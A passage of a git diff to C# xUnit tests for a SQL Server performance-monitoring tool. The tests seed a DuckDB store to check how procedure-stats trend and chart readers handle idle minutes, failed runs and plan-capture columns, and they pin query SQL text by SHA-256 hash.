-            collapsed.IndexOf("dm_exec_text_query_plan", StringComparison.Ordinal)
-                > collapsed.IndexOf(")ASranked", StringComparison.Ordinal),
-            "the plan render moved back inside the ranked derived table - below the TOP");
-        Assert.Contains("WHERE s.database_id = DB_ID()", plan.Text, StringComparison.Ordinal);
-        /* Azure keeps its single-proc shape — no trigger/function branches. */
-        Assert.DoesNotContain("dm_exec_trigger_stats", plan.Text, StringComparison.Ordinal);
+        Assert.Equal(off.Text, capture.Text);
+        Assert.Contains("WHERE s.database_id = DB_ID()", capture.Text, StringComparison.Ordinal);
+        /* Azure keeps its single-proc shape - no trigger/function branches. */
+        Assert.DoesNotContain("dm_exec_trigger_stats", capture.Text, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -206,26 +201,30 @@ public async Task ReadAsync_WritePayload_PlanCaptureOn_CapturesTrailingPlanColum
         var deltas = new RecordingCollectorDeltaCalculator();
         var context = CollectorTestContext.Make(deltas, capturePlanXml: true);
 
-        /* Flag on = the SELECT carries the trailing query_plan_xml column at ordinal 27, then #3392's
-           query_plan_xml_bytes at 28. */
-        var row = MakeSqlRow(planHandle: "0x0600");
-        var row29 = row
-            .Append((object)"<ShowPlanXML>proc</ShowPlanXML>")
-            .Append((object)9_000_000L)
-            .ToArray();
-
-        using var reader = new FakeCollectorDataReader(row29);
+        using var reader = new FakeCollectorDataReader(MakeSqlRow(planHandle: "0x0600"));
         var rows = await ProcedureStatsCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
 
+        /* #5449: the main read carries no plan; the plan phase puts the plan (ordinal 1) and #3392's
+           query_plan_xml_bytes (ordinal 2) onto the row by position. */
+        Assert.Null(Assert.Single(rows).QueryPlanXml);
+        var indexes = ProcedureStatsCollector.SelectPlanPhaseRows(rows, out _);
+        ProcedureStatsCollector.ApplyPlanPhase(
+            rows,
+            indexes,
+            new Dictionary<int, ProcedureStatsCollector.PlanPhaseResult>
+            {
+                [0] = new("<ShowPlanXML>proc</ShowPlanXML>", 9_000_000L, null, null, null),
+            });
+
         var writer = new RecordingCollectorRowWriter();
         ProcedureStatsCollector.Instance.WritePayload(Assert.Single(rows), writer, context);
 
         Assert.Equal(37, writer.Values.Count);
         Assert.Equal("<ShowPlanXML>proc</ShowPlanXML>", writer.Values[34]);   /* query_plan_xml payload slot */
         Assert.Equal(9_000_000L, writer.Values[35]);                          /* #3392: query_plan_xml_bytes */
-        Assert.Equal(0, writer.Values[36]);                                   /* #3540: interval — the fake reports 0, the unknowable marker */
+        Assert.Equal(0, writer.Values[36]);                                   /* #3540: interval - the fake reports 0, the unknowable marker */
 
-        /* #3392: 9 MB is over the cap, so this row IS a backlog candidate — and the offsets it hands back
+        /* #3392: 9 MB is over the cap, so this row IS a backlog candidate - and the offsets it hands back
            are the module-grain literals the plan apply passes, never per-statement values this DMV family
            does not have. A deferred fetch with different offsets would be a different plan. */
         var observation = ProcedureStatsCollector.Instance.DescribeOversizedPlan(rows[0]);
@@ -250,8 +249,12 @@ public async Task WritePayload_UsesPlanHandleDeltaKey_WithFallback()
             MakeSqlRow(planHandle: null));
         var rows = await ProcedureStatsCollector.Instance.ReadAsync(reader, context, CancellationToken.None);
 
+        /* #5449: the read returns rows in rank order (a tie breaks by plan_handle), so find each by its handle. */
+        var withHandle = rows.Single(r => r.PlanHandle == "0x0600");
+        var withoutHandle = rows.Single(r => r.PlanHandle is null);
+
         var writer = new RecordingCollectorRowWriter();
-        ProcedureStatsCollector.Instance.WritePayload(rows[0], writer, context);
+        ProcedureStatsCollector.Instance.WritePayload(withHandle, writer, context);
         Assert.Equal(37, writer.Values.Count);
         Assert.Null(writer.Values[34]);   /* query_plan_xml null when the flag is off */
         Assert.Null(writer.Values[35]);   /* #3392: and no measurement either */
@@ -259,14 +262,14 @@ public async Task WritePayload_UsesPlanHandleDeltaKey_WithFallback()
 
         /* No measurement is not an oversized plan: null is "nobody measured", which is what a
            plan-capture-off host and an aged-out handle both produce. */
-        Assert.Null(ProcedureStatsCollector.Instance.DescribeOversizedPlan(rows[0]));
+        Assert.Null(ProcedureStatsCollector.Instance.DescribeOversizedPlan(withHandle));
         Assert.All(deltas.Calls, c => Assert.Equal("0x0600", c.Key));
         Assert.Equal(
             new[] { "proc_stats_exec", "proc_stats_worker", "proc_stats_elapsed", "proc_stats_reads", "proc_stats_writes", "proc_stats_phys_reads", "proc_stats_spills" },
             deltas.Calls.Select(c => c.Group).ToArray());
 
         deltas.Calls.Clear();
-        ProcedureStatsCollector.Instance.WritePayload(rows[1], writer, context);
+        ProcedureStatsCollector.Instance.WritePayload(withoutHandle, writer, context);
         Assert.All(deltas.Calls, c => Assert.Equal("SO.dbo.usp_GetUser", c.Key));
     }
 
diff --git a/Lite.Tests/ProcedureStatsIdleRowsReaderTests.cs b/Lite.Tests/ProcedureStatsIdleRowsReaderTests.cs
new file mode 100644
index 0000000000..b63eb9de26
--- /dev/null
+++ b/Lite.Tests/ProcedureStatsIdleRowsReaderTests.cs
@@ -0,0 +1,376 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5449: the procedure_stats collector stores no row for a procedure that did no work in a cycle. A missing minute is
+/// "no work", not "no data", and old stores still hold the idle rows (deltas 0, interval 60). Every reader that touched
+/// the table must give the same answer on a store that has the idle rows and one that does not. Each test seeds two
+/// servers with the same work: <see cref="OldServer"/> keeps the idle rows, <see cref="NewServer"/> leaves them out.
+/// </summary>
+[Trait("Cost", "Slow")]
+public sealed class ProcedureStatsIdleRowsReaderTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const int OldServer = -5449;
+    private const int NewServer = -5450;
+
+    private readonly DuckDbInitializer _duckDb;
+    private readonly LocalDataService _dataService;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = -5_000_000;
+
+    public ProcedureStatsIdleRowsReaderTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _dataService = new LocalDataService(_duckDb);
+    }
+
+    public void Dispose() => _seedConn?.Dispose();
+
+    private static DateTime TenMinuteFloor(DateTime t) =>
+        DateTime.SpecifyKind(new DateTime(t.Ticks - (t.Ticks % TimeSpan.FromMinutes(10).Ticks)), DateTimeKind.Unspecified);
+
+    /// <summary>The same twenty collections, one a minute, on both servers: work in minutes 1, 2, 15 and 20, and an idle row
+    /// (deltas 0, interval 60) for every other minute on the old server only.</summary>
+    private async Task<DateTime> SeedTwentyMinutesAsync()
+    {
+        var t0 = TenMinuteFloor(DateTime.UtcNow.AddMinutes(-40));
+        var workMinutes = new HashSet<int> { 1, 2, 15, 20 };
+        for (var k = 1; k <= 20; k++)
+        {
+            var at = t0.AddMinutes(k);
+            if (workMinutes.Contains(k))
+            {
+                await SeedAsync(OldServer, at, "usp_Work", executions: 10, elapsedUs: 600_000, interval: 60);
+                await SeedAsync(NewServer, at, "usp_Work", executions: 10, elapsedUs: 600_000, interval: 60);
+            }
+            else
+            {
+                await SeedAsync(OldServer, at, "usp_Work", executions: 0, elapsedUs: 0, interval: 60);
+            }
+        }
+        return t0;
+    }
+
+    [Fact]
+    public async Task BucketedProcedureTrend_IdleMinutesNotStored_ReadsTheSameAsStoredIdleRows()
+    {
+        var t0 = await SeedTwentyMinutesAsync();
+        /* The collector ran every minute on the new server, which is how its quiet minutes are known; the old server's
+           stored idle rows are its own record of them. */
+        await SeedRunsAsync(NewServer, "procedure_stats", t0.AddMinutes(1), t0.AddMinutes(20));
+        var asOf = t0.AddMinutes(25);
+
+        var oldPoints = await _dataService.GetBucketedProcedureDurationTrendAsync(OldServer, 1, asOf, 10);
+        var newPoints = await _dataService.GetBucketedProcedureDurationTrendAsync(NewServer, 1, asOf, 10);
+
+        Assert.Equal(3, oldPoints.Count);
+        Assert.Equal(oldPoints.Count, newPoints.Count);
+        for (var i = 0; i < oldPoints.Count; i++)
+        {
+            Assert.Equal(oldPoints[i].CollectionTime, newPoints[i].CollectionTime);
+            Assert.Equal(oldPoints[i].Value!.Value, newPoints[i].Value!.Value, precision: 6);
+            Assert.Equal(oldPoints[i].ExecutionsPerSecond!.Value, newPoints[i].ExecutionsPerSecond!.Value, precision: 6);
+        }
+
+        /* 1,200 ms of work over the bucket's nine one-minute points (minutes 1-9, 540 s), not over the two stored
+           collections' 120 s (which read 10). The first point's own interval is the store's, 60 s. */
+        Assert.Equal(1200.0 / 540.0, newPoints[0].Value!.Value, precision: 6);
+        Assert.Equal(1.0, newPoints[1].Value!.Value, precision: 6);
+        /* The last bucket holds only the series' final collection: its own 60 s. */
+        Assert.Equal(10.0, newPoints[2].Value!.Value, precision: 6);
+    }
+
+    [Fact]
+    public async Task ProcedureSlicer_ProcedureCountIsOfProceduresWithWork_OnBothStores()
+    {
+        var t0 = await SeedTwentyMinutesAsync();
+        /* A second procedure that never worked: a row of zeros on the old store, nothing on the new. */
+        await SeedAsync(OldServer, t0.AddMinutes(3), "usp_NeverWorked", executions: 0, elapsedUs: 0, interval: 60);
+
+        var oldBuckets = await _dataService.GetProcStatsSlicerDataAsync(OldServer, hoursBack: 24);
+        var newBuckets = await _dataService.GetProcStatsSlicerDataAsync(NewServer, hoursBack: 24);
+
+        Assert.Equal(oldBuckets.Select(b => (b.BucketTime, b.SessionCount)), newBuckets.Select(b => (b.BucketTime, b.SessionCount)));
+        Assert.All(newBuckets, b => Assert.Equal(1, b.SessionCount));
+    }
+
+    [Fact]
+    public async Task ProcedureWindowFloor_AnIdleStartIsCoveredByTheCollectorsRuns()
+    {
+        var start = TenMinuteFloor(DateTime.UtcNow.AddHours(-3));
+        var end = start.AddHours(3);
+        /* The collector ran every minute from the window's start, and its first stored row is an hour in. */
+        await SeedAsync(NewServer, start.AddHours(1), "usp_Work", executions: 10, elapsedUs: 600_000, interval: 60);
+        await SeedRunsAsync(NewServer, "procedure_stats", start, end);
+
+        var floor = await _dataService.GetQueryWindowFloorAsync(QueryWindowRelation.ProcedureStats, NewServer, start, end);
+
+        Assert.Equal(start, floor);
+    }
+
+    [Fact]
+    public async Task ProcedureChartPoints_AQuietCollectionPlotsZero_OnBothStores()
+    {
+        var t0 = await SeedTwentyMinutesAsync();
+        /* The collector ran every minute on both servers; only the old one kept a row for the quiet minutes. */
+        await SeedRunsAsync(OldServer, "procedure_stats", t0.AddMinutes(1), t0.AddMinutes(20));
+        await SeedRunsAsync(NewServer, "procedure_stats", t0.AddMinutes(1), t0.AddMinutes(20));
+
+        var oldPoints = await _dataService.GetProcedureDurationTrendAsync(OldServer, 1, t0, t0.AddMinutes(25));
+        var newPoints = await _dataService.GetProcedureDurationTrendAsync(NewServer, 1, t0, t0.AddMinutes(25));
+
+        Assert.Equal(20, oldPoints.Count);
+        Assert.Equal(oldPoints.Select(p => p.CollectionTime), newPoints.Select(p => p.CollectionTime));
+        Assert.Equal(oldPoints.Select(p => p.Value), newPoints.Select(p => p.Value));
+        /* Minute 3 is quiet: a plotted 0, where the line used to be drawn straight from minute 2 to minute 15. */
+        Assert.Equal(0.0, newPoints.Single(p => p.CollectionTime == t0.AddMinutes(3)).Value!.Value, precision: 6);
+        Assert.Equal(10.0, newPoints.Single(p => p.CollectionTime == t0.AddMinutes(15)).Value!.Value, precision: 6);
+    }
+
+    [Fact]
+    public async Task BucketedProcedureTrend_AQuietBucketIsAZeroPoint_OnBothStores()
+    {
+        var t0 = await SeedTwentyMinutesAsync();
+        await SeedRunsAsync(OldServer, "procedure_stats", t0.AddMinutes(1), t0.AddMinutes(20));
+        await SeedRunsAsync(NewServer, "procedure_stats", t0.AddMinutes(1), t0.AddMinutes(20));
+        var asOf = t0.AddMinutes(25);
+
+        /* One-minute buckets: the minutes between the work are whole buckets with no stored row. */
+        var oldPoints = await _dataService.GetBucketedProcedureDurationTrendAsync(OldServer, 1, asOf, 1);
+        var newPoints = await _dataService.GetBucketedProcedureDurationTrendAsync(NewServer, 1, asOf, 1);
+
+        Assert.Equal(20, oldPoints.Count);
+        Assert.Equal(oldPoints.Select(p => p.CollectionTime), newPoints.Select(p => p.CollectionTime));
+        Assert.Equal(oldPoints.Select(p => p.Value), newPoints.Select(p => p.Value));
+    }
+
+    [Fact]
+    public async Task ProcedureChartPoints_AFailedRunIsNotAQuietPoint()
+    {
+        var t0 = TenMinuteFloor(DateTime.UtcNow.AddMinutes(-40));
+        await SeedAsync(NewServer, t0.AddMinutes(1), "usp_Work", executions: 10, elapsedUs: 600_000, interval: 60);
+        await SeedAsync(NewServer, t0.AddMinutes(5), "usp_Work", executions: 10, elapsedUs: 600_000, interval: 240);
+        await SeedRunsAsync(NewServer, "procedure_stats", t0.AddMinutes(1), t0.AddMinutes(5));
+        await SetRunStatusAsync(NewServer, t0.AddMinutes(3), "ERROR");
+
+        var points = await _dataService.GetProcedureDurationTrendAsync(NewServer, 1, t0, t0.AddMinutes(25));
+
+        /* The runs at minutes 2 and 4 stored nothing and succeeded: zero points. Minute 3 failed: no point at all. */
+        Assert.Equal(new[] { 1, 2, 4, 5 }, points.Select(p => (int)(p.CollectionTime - t0).TotalMinutes).ToArray());
+    }
+
+    [Fact]
+    public async Task ProcedureHistoryChart_AQuietRunPlotsZero_OnBothStores()
+    {
+        var t0 = await SeedTwentyMinutesAsync();
+        /* The runs reach past the procedure's first and last row: a 0 there would be invented (it was not cached yet, or had left). */
+        await SeedRunsAsync(OldServer, "procedure_stats", t0.AddMinutes(-5), t0.AddMinutes(30));
+        await SeedRunsAsync(NewServer, "procedure_stats", t0.AddMinutes(-5), t0.AddMinutes(30));
+
+        var oldChart = await ChartRowsAsync(OldServer, t0);
+        var newChart = await ChartRowsAsync(NewServer, t0);
+
+        Assert.Equal(20, oldChart.Count);
+        Assert.Equal(oldChart.Select(r => r.CollectionTime), newChart.Select(r => r.CollectionTime));
+        foreach (var metric in new Func<ProcedureStatsHistoryRow, double>[] { r => r.DeltaExecutions, r => r.DeltaCpuMs, r => r.AvgCpuMs, r => r.DeltaLogicalReads })
+        {
+            Assert.Equal(oldChart.Select(metric), newChart.Select(metric));
+        }
+        Assert.Equal(0, newChart.Single(r => r.CollectionTime == t0.AddMinutes(3)).DeltaExecutions);
+        Assert.Equal(10, newChart.Single(r => r.CollectionTime == t0.AddMinutes(15)).DeltaExecutions);
+        /* The grid still lists only the minutes with work. */
+        var grid = await _dataService.GetProcedureStatsHistoryAsync(NewServer, "AppDb", "dbo", "usp_Work", 1, t0, t0.AddMinutes(25));
+        Assert.Equal(4, grid.Count);
+    }
+
+    [Fact]
+    public async Task ProcedureHistoryChart_AFailedRunIsNotAQuietPoint_AndAnotherProceduresRowDoesNotFillTheMinute()
+    {
+        var t0 = TenMinuteFloor(DateTime.UtcNow.AddMinutes(-40));
+        await SeedAsync(NewServer, t0.AddMinutes(1), "usp_Work", executions: 10, elapsedUs: 600_000, interval: 60);
+        await SeedAsync(NewServer, t0.AddMinutes(5), "usp_Work", executions: 10, elapsedUs: 600_000, interval: 240);
+        /* Another procedure worked at minute 2: the run at minute 2 stored a row, but not for usp_Work, so it is still a 0 for usp_Work. */
+        await SeedAsync(NewServer, t0.AddMinutes(2), "usp_Other", executions: 3, elapsedUs: 100_000, interval: 60);
+        await SeedRunsAsync(NewServer, "procedure_stats", t0.AddMinutes(1), t0.AddMinutes(5));
+        await SetRunStatusAsync(NewServer, t0.AddMinutes(3), "ERROR");
+
+        var chart = await ChartRowsAsync(NewServer, t0);
+
+        Assert.Equal(new[] { 1, 2, 4, 5 }, chart.Select(r => (int)(r.CollectionTime - t0).TotalMinutes).ToArray());
+    }
+
+    /// <summary>#5449 M2: one collection holds a procedure that was measured over 60 s and one that came back after 1,800 s. The whole
+    /// delta lands in the run that stored it, over that run's gap to the previous point (60 s), never over the longer stored interval:
+    /// the MAX of the collection's stored intervals (1,800 s) read the minute 30 times too low.</summary>
+    [Fact]
+    public async Task ProcedureChartPoints_AReturningProceduresDeltaIsRatedOverTheRunsGap()
+    {
+        var t = TenMinuteFloor(DateTime.UtcNow.AddMinutes(-40)).AddMinutes(5);
+        await SeedAsync(NewServer, t.AddMinutes(-1), "usp_Prev", executions: 0, elapsedUs: 0, interval: 60);
+        await SeedAsync(NewServer, t, "usp_P1", executions: 10, elapsedUs: 600_000, interval: 60);
+        await SeedAsync(NewServer, t, "usp_P2", executions: 20, elapsedUs: 1_200_000, interval: 1800);
+        await SeedRunsAsync(NewServer, "procedure_stats", t.AddMinutes(-1), t);
+
+        var points = await _dataService.GetProcedureDurationTrendAsync(NewServer, 1, t.AddMinutes(-2), t.AddMinutes(10));
+        var bucketed = await _dataService.GetBucketedProcedureDurationTrendAsync(NewServer, 1, t.AddMinutes(10), 1);
+
+        /* (600 + 1,200) ms and 30 executions over the run's own 60 s gap; the head read 1,800 s (MAX) and said 1 and 0.0167. */
+        var point = points.Single(p => p.CollectionTime == t);
+        Assert.Equal(30.0, point.Value!.Value, precision: 6);
+        Assert.Equal(0.5, point.ExecutionsPerSecond!.Value, precision: 6);
+        var bucket = bucketed.Single(p => p.CollectionTime == t);
+        Assert.Equal(30.0, bucket.Value!.Value, precision: 6);
+        Assert.Equal(30.0, bucket.PeakElapsedMsPerSecond!.Value, precision: 6);
+    }
+
+    /// <summary>#5449 M1: a 240-minute bucket with an outage inside it. The collector's runs are the axis, so the outage is not
+    /// seconds the bucket was observed for: the first collection after it (past the collector's 3,600 s gap limit, here a store row
+    /// of zero work) is unrated, and the bucket's seconds are the 119 one-minute points on either side, 7,140 s. The head
+    /// stretched the denominator over the bucket's whole span (14,400 s) and read the busy hours at half their rate.</summary>
+    [Fact]
+    public async Task BucketedProcedureTrend_AnOutageIsNotSeconds_AndTheCollectionAfterItIsUnrated()
+    {
+        var t0 = BucketFloor(240, DateTime.UtcNow.AddHours(-9));
+        /* A point a minute before the window (it supplies the first gap), busy minutes 0-59 and 181-239, an outage 60-179, and a
+           zero-work collection at minute 180 right after it. Runs stamp at t, rows land 200 ms later. */
+        await SeedBusyMinutesAsync(NewServer, t0, -1, 59);
+        await SeedBusyMinutesAsync(NewServer, t0, 181, 239);
+        await SeedAsync(NewServer, t0.AddMinutes(180).AddMilliseconds(200), "usp_Work", executions: 0, elapsedUs: 0, interval: 60);
+        await SeedRunsAsync(NewServer, "procedure_stats", t0.AddMinutes(180), t0.AddMinutes(180));
+
+        var points = await _dataService.GetBucketedProcedureDurationTrendAsync(NewServer, 4, t0.AddHours(4), 240);
+
+        var point = Assert.Single(points);
+        /* 119 busy minutes of 1,000 ms and 1 execution each, over 60 + 59 rated minutes. */
+        Assert.Equal(119_000.0 / 7140.0, point.Value!.Value, precision: 6);
+        Assert.Equal(119.0 / 7140.0, point.ExecutionsPerSecond!.Value, precision: 6);
+        Assert.Equal(1, point.UnratedInBucket);
+    }
+
+    /// <summary>The 4-hour-aligned (any whole-hour width that divides a day) floor of <paramref name="from"/>, the bucket origin being midnight.</summary>
+    private static DateTime BucketFloor(int minutes, DateTime from) =>
+        DateTime.SpecifyKind(new DateTime(from.Ticks - (from.Ticks % TimeSpan.FromMinutes(minutes).Ticks)), DateTimeKind.Unspecified);
+
+    /// <summary>A busy collection every minute from <paramref name="firstMinute"/> to <paramref name="lastMinute"/> after <paramref name="t0"/>:
+    /// the log stamps the run at the minute, the rows land 200 ms later (1,000 ms, one execution, a 60 s interval).</summary>
+    private async Task SeedBusyMinutesAsync(int serverId, DateTime t0, int firstMinute, int lastMinute)
+    {
+        await SeedRunsAsync(serverId, "procedure_stats", t0.AddMinutes(firstMinute), t0.AddMinutes(lastMinute));
+        using var readLock = _duckDb.AcquireReadLock();
+        var conn = await SeedConnectionAsync();
+        using var cmd = conn.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO procedure_stats
+    (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, object_type,
+     execution_count, total_worker_time, total_elapsed_time, total_logical_reads, total_physical_reads, total_logical_writes,
+     delta_execution_count, delta_worker_time, delta_elapsed_time, sample_interval_seconds)
+SELECT {_nextId} - row_number() OVER (), g.t + INTERVAL 200 MILLISECOND, {serverId}, 'idle-rows', 'AppDb', 'dbo', 'usp_Work', 'PROCEDURE',
+       0, 0, 0, 0, 0, 0, 1, 1000000, 1000000, 60
+FROM generate_series(TIMESTAMP '{t0.AddMinutes(firstMinute):yyyy-MM-dd HH:mm:ss}', TIMESTAMP '{t0.AddMinutes(lastMinute):yyyy-MM-dd HH:mm:ss}', INTERVAL 1 MINUTE) AS g(t)";
+        _nextId -= await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    /// <summary>#5449 round 2: a window that ends between a run's log time and its rows (they land 200 ms later). Rows are read past
+    /// the window end, so run 10 is seen to own its row and is not an idle point; the final cut at the window end then drops the run's
+    /// own point (its row is past the end). Before, the row was not read, run 10 looked idle, and a false 0 plotted at its log time.</summary>
+    [Fact]
+    public async Task ProcedureChartPoints_AWindowEndingBetweenARunAndItsRows_PlotsNoFalseZero()
+    {
+        var t0 = TenMinuteFloor(DateTime.UtcNow.AddMinutes(-60));
+        await SeedBusyMinutesAsync(NewServer, t0, 0, 10);
+
+        var points = await _dataService.GetProcedureDurationTrendAsync(NewServer, 1, t0.AddMinutes(-5), t0.AddMinutes(10).AddMilliseconds(100));
+
+        /* Runs 0-9 each stored a row at 200 ms past their stamp, all busy. Run 10's row is past the window end: no point, not a 0. */
+        Assert.Equal(10, points.Count);
+        Assert.DoesNotContain(points, p => p.CollectionTime == t0.AddMinutes(10));
+        Assert.All(points, p => Assert.True(p.Value > 0));
+    }
+
+    [Fact]
+    public void IdleRunTimes_ARunOwnsTheRowsUpToTheNextRun_WhetherStampedBeforeOrAtTheRows()
+    {
+        var t = new DateTime(2026, 10, 1, 12, 0, 0, DateTimeKind.Unspecified);
+        var runs = Enumerable.Range(0, 8).Select(m => t.AddMinutes(m)).ToList();
+        /* Rows land two seconds after their run's stamp (minutes 1 and 6) or on it (minute 4). */
+        var rows = new List<DateTime> { t.AddMinutes(1).AddSeconds(2), t.AddMinutes(4), t.AddMinutes(6).AddSeconds(2) };
+
+        var idle = ProcedureHistoryIdleRuns.IdleRunTimes(rows, runs);
+
+        /* Minutes 2, 3 and 5 own no row. Minute 1 owns the first row, 4 and 6 their rows; 0 and 7 lie outside the first and last row. */
+        Assert.Equal(new[] { 2, 3, 5 }, idle.Select(i => (int)(i - t).TotalMinutes).ToArray());
+        Assert.Empty(ProcedureHistoryIdleRuns.IdleRunTimes(new List<DateTime>(), runs));
+    }
+
+    private async Task<List<ProcedureStatsHistoryRow>> ChartRowsAsync(int serverId, DateTime t0)
+    {
+        var history = await _dataService.GetProcedureStatsHistoryAsync(serverId, "AppDb", "dbo", "usp_Work", 1, t0, t0.AddMinutes(40));
+        return await _dataService.GetProcedureStatsHistoryChartRowsAsync(serverId, history);
+    }
+
+    private async Task<DuckDBConnection> SeedConnectionAsync()
+    {
+        if (_seedConn is null)
+        {
+            _seedConn = _duckDb.CreateConnection();
+            await _seedConn.OpenAsync();
+        }
+        return _seedConn;
+    }
+
+    private async Task SeedAsync(int serverId, DateTime at, string objectName, long executions, long elapsedUs, int interval)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var conn = await SeedConnectionAsync();
+        using var cmd = conn.CreateCommand();
+        cmd.CommandText = @"INSERT INTO procedure_stats
+            (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, object_type,
+             execution_count, total_worker_time, total_elapsed_time, total_logical_reads, total_physical_reads, total_logical_writes,
+             delta_execution_count, delta_worker_time, delta_elapsed_time, sample_interval_seconds)
+            VALUES ($1, $2, $3, 'idle-rows', 'AppDb', 'dbo', $4, 'PROCEDURE', 0, 0, 0, 0, 0, 0, $5, $6, $6, $7)";
+        foreach (var v in new object[] { _nextId--, at, serverId, objectName, executions, elapsedUs, interval })
+        {
+            cmd.Parameters.Add(new DuckDBParameter { Value = v });
+        }
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private async Task SeedRunsAsync(int serverId, string collector, DateTime firstUtc, DateTime lastUtc)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var conn = await SeedConnectionAsync();
+        using var cmd = conn.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT {_nextId} - row_number() OVER (), {serverId}, 'idle-rows', '{collector}', g.t, 12, 'SUCCESS', 0
+FROM generate_series(TIMESTAMP '{firstUtc:yyyy-MM-dd HH:mm:ss}', TIMESTAMP '{lastUtc:yyyy-MM-dd HH:mm:ss}', INTERVAL 1 MINUTE) AS g(t)";
+        _nextId -= await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    private async Task SetRunStatusAsync(int serverId, DateTime at, string status)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        var conn = await SeedConnectionAsync();
+        using var cmd = conn.CreateCommand();
+        cmd.CommandText = $"UPDATE collection_log SET status = '{status}' WHERE server_id = {serverId} AND collection_time = TIMESTAMP '{at:yyyy-MM-dd HH:mm:ss}'";
+        await cmd.ExecuteNonQueryAsync();
+    }
+}
diff --git a/Lite.Tests/ProcedureTrendQueryPinTests.cs b/Lite.Tests/ProcedureTrendQueryPinTests.cs
new file mode 100644
index 0000000000..d6537421cb
--- /dev/null
+++ b/Lite.Tests/ProcedureTrendQueryPinTests.cs
@@ -0,0 +1,78 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Security.Cryptography;
+using System.Text;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5449: the procedure grain's duration trend moved to the run-based model (<see cref="LocalDataService.ProcedureCollectionsSql"/>),
+/// and the query grain's did not. These pin the query grain's two statements byte for byte (SHA-256 of the text as it stood before
+/// #5449, line endings normalised) so a change to the shared builders cannot move <c>v_query_stats</c>, and pin the procedure
+/// statements' shape: both tables read from an hour before the window, and none of the removed span term.
+/// </summary>
+[Trait("Stage", "Guard")]
+public sealed class ProcedureTrendQueryPinTests
+{
+    private static string Sha(string sql) =>
+        Convert.ToHexString(SHA256.HashData(Encoding.UTF8.GetBytes(sql.Replace("\r\n", "\n"))));
+
+    private static string Clause(int firstIndex) =>
+        LocalDataService.BuildDbInClause(new[] { "A", "B" }, "database_name", firstIndex, out _);
+
+    [Fact]
+    public void QueryStatsChartSql_IsByteIdenticalToItsTextBeforeTheProcedureChange()
+    {
+        Assert.Equal("DE5B7384FAEDD51B1BF8E3B4DAEBCF3C5DEAD100A7A8CAEFB89C5C08A1CA81C2", Sha(LocalDataService.DurationTrendChartSql("v_query_stats", "", 4)));
+        Assert.Equal("EB6226CB8F98242253395FAD9E41E431A650630F1C79109778279C08FBF56423", Sha(LocalDataService.DurationTrendChartSql("v_query_stats", Clause(4), 6)));
+    }
+
+    [Fact]
+    public void QueryStatsBucketedSql_IsByteIdenticalToItsTextBeforeTheProcedureChange()
+    {
+        Assert.Equal("03270AC3C869E7777050580B1F373911E3D3789B6A98054E894E872D894CC341", Sha(LocalDataService.BucketedDurationTrendSql("v_query_stats", "")));
+        Assert.Equal("C7B500FC53A093AF9340583AF94C742019C61AFC8FCD7BB4BA53C7C5AAE075C2", Sha(LocalDataService.BucketedDurationTrendSql("v_query_stats", Clause(5))));
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public void ProcedureStatements_ShareOneCollectionsFragment_ReadBothTablesFromAnHourBack_AndHaveNoSpanTerm(bool withFilter)
+    {
+        var chart = LocalDataService.DurationTrendChartSql("v_procedure_stats", withFilter ? Clause(4) : "", 6);
+        var bucketed = LocalDataService.BucketedDurationTrendSql("v_procedure_stats", withFilter ? Clause(5) : "");
+        var fragment = LocalDataService.ProcedureCollectionsSql(withFilter ? Clause(4) : "");
+
+        Assert.Contains(fragment.Replace("\r\n", "\n").Split("\nraw AS")[0], chart.Replace("\r\n", "\n"));
+        Assert.StartsWith("stored AS", fragment);
+        foreach (var sql in new[] { chart, bucketed })
+        {
+            /* Both the stored rows and the log's runs come from an hour before $2, and the points before $2 are dropped after the LAG. */
+            Assert.Equal(2, CountOf(sql, "collection_time >= $2 - to_seconds(3600)"));
+            Assert.Contains("WHERE collection_time >= $2", sql);
+            Assert.Contains("v_collection_log", sql);
+            Assert.DoesNotContain("series_first", sql);
+            Assert.DoesNotContain("first_interval", sql);
+            Assert.DoesNotContain("GREATEST(\n", sql.Replace("\r\n", "\n"));
+        }
+    }
+
+    private static int CountOf(string text, string needle)
+    {
+        var count = 0;
+        for (var i = text.IndexOf(needle, StringComparison.Ordinal); i >= 0; i = text.IndexOf(needle, i + needle.Length, StringComparison.Ordinal))
+        {
+            count++;
+        }
+        return count;
+    }
+}
diff --git a/Lite.Tests/QsCaptureModeRungTests.cs b/Lite.Tests/QsCaptureModeRungTests.cs
index d30c9d625e..b20204ef5b 100644
--- a/Lite.Tests/QsCaptureModeRungTests.cs
+++ b/Lite.Tests/QsCaptureModeRungTests.cs
@@ -118,7 +118,7 @@ public async Task AV63Database_ClimbsToV64_AndItsOldRowsReadNull()
     {
         var dbPath = Path.Combine(_tempDir, "lite-v63.duckdb");
 
-        var initializer = new DuckDbInitializer(dbPath);
